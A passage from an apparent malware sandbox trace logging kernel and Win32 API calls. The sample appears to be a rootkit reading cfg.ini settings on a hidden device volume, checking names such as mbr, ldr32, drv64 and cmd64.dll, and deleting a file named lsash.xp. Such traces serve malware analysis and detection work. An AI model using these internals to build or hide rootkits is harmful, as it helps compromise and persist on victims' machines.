_Dest="0d24eb7c\\cfg.ini") returned 16 [0118.394] KeEnterCriticalRegion () [0118.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.394] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.394] IdePortDispatch () returned 0x103 [0118.394] KeWaitForMutexObject () returned 0x0 [0118.394] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.394] KeLeaveCriticalRegion () [0118.394] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.394] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.394] KeEnterCriticalRegion () [0118.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.394] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccc000 [0118.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.394] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.394] IdePortDispatch () returned 0x103 [0118.394] KeWaitForMutexObject () returned 0x0 [0118.394] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.394] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.394] IdePortDispatch () returned 0x103 [0118.395] KeWaitForMutexObject () returned 0x0 [0118.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.395] KeLeaveCriticalRegion () [0118.395] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.395] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.395] KeEnterCriticalRegion () [0118.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.395] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.395] KeLeaveCriticalRegion () [0118.395] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.395] KeEnterCriticalRegion () [0118.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.395] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.395] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003baa750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.395] KeLeaveCriticalRegion () [0118.395] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.395] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.395] KeEnterCriticalRegion () [0118.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.396] ExFreePoolWithTag (P=0xfffffa80039d08b0, Tag=0x0) [0118.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.396] KeLeaveCriticalRegion () [0118.396] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.396] ReleaseMutex (hMutex=0xf0) returned 1 [0118.396] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.396] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.396] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.396] KeEnterCriticalRegion () [0118.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.396] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.396] IdePortDispatch () returned 0x103 [0118.396] KeWaitForMutexObject () returned 0x0 [0118.396] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.396] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.396] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.396] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.396] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.396] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039caeb0 [0118.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.396] KeLeaveCriticalRegion () [0118.396] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.396] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.396] KeEnterCriticalRegion () [0118.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.396] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.396] KeLeaveCriticalRegion () [0118.397] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.397] KeEnterCriticalRegion () [0118.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.397] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.397] IdePortDispatch () returned 0x103 [0118.397] KeWaitForMutexObject () returned 0x0 [0118.397] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.397] KeLeaveCriticalRegion () [0118.397] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.397] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.397] KeEnterCriticalRegion () [0118.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.397] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccd000 [0118.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.397] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.397] IdePortDispatch () returned 0x103 [0118.398] KeWaitForMutexObject () returned 0x0 [0118.398] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.398] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.398] IdePortDispatch () returned 0x103 [0118.399] KeWaitForMutexObject () returned 0x0 [0118.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.399] KeLeaveCriticalRegion () [0118.399] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.399] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.399] KeEnterCriticalRegion () [0118.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.399] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.399] KeLeaveCriticalRegion () [0118.399] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.399] KeEnterCriticalRegion () [0118.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.399] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.399] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.399] KeLeaveCriticalRegion () [0118.399] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.399] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.399] KeEnterCriticalRegion () [0118.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.399] ExFreePoolWithTag (P=0xfffffa80039caeb0, Tag=0x0) [0118.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.399] KeLeaveCriticalRegion () [0118.399] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.399] ReleaseMutex (hMutex=0xf0) returned 1 [0118.399] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.400] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.400] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.400] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.400] KeEnterCriticalRegion () [0118.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.400] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.400] IdePortDispatch () returned 0x103 [0118.400] KeWaitForMutexObject () returned 0x0 [0118.400] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.400] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.400] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.400] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.400] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.400] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.400] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.400] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.400] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.400] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.400] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.400] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.400] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.400] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.400] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.400] KeLeaveCriticalRegion () [0118.400] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.400] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.400] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.400] KeEnterCriticalRegion () [0118.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.400] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.400] IdePortDispatch () returned 0x103 [0118.401] KeWaitForMutexObject () returned 0x0 [0118.401] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.401] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.401] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.401] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.401] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.401] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.401] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.401] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.401] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.401] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.401] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.401] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.401] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.401] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.401] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.401] KeLeaveCriticalRegion () [0118.401] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.401] ReleaseMutex (hMutex=0x100) returned 1 [0118.401] Sleep (dwMilliseconds=0x2bf20) [0118.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69c51c10, dwHighDateTime=0x1d24fa4)) [0118.407] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.407] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.407] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.407] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.408] KeEnterCriticalRegion () [0118.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.408] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.408] IdePortDispatch () returned 0x103 [0118.408] KeWaitForMutexObject () returned 0x0 [0118.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.408] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.408] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.408] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.408] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.408] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039caeb0 [0118.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.408] KeLeaveCriticalRegion () [0118.408] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.408] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.408] KeEnterCriticalRegion () [0118.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.408] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.408] KeLeaveCriticalRegion () [0118.408] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.408] KeEnterCriticalRegion () [0118.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.408] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.408] IdePortDispatch () returned 0x103 [0118.409] KeWaitForMutexObject () returned 0x0 [0118.409] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.409] KeLeaveCriticalRegion () [0118.409] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.409] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.409] KeEnterCriticalRegion () [0118.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd0000 [0118.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.409] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.409] IdePortDispatch () returned 0x103 [0118.409] KeWaitForMutexObject () returned 0x0 [0118.409] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.409] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.409] IdePortDispatch () returned 0x103 [0118.409] KeWaitForMutexObject () returned 0x0 [0118.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.409] KeLeaveCriticalRegion () [0118.409] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.410] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.410] KeEnterCriticalRegion () [0118.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.410] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.410] KeLeaveCriticalRegion () [0118.410] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.410] KeEnterCriticalRegion () [0118.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.410] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.410] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdfd50, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.410] KeLeaveCriticalRegion () [0118.410] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.410] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: 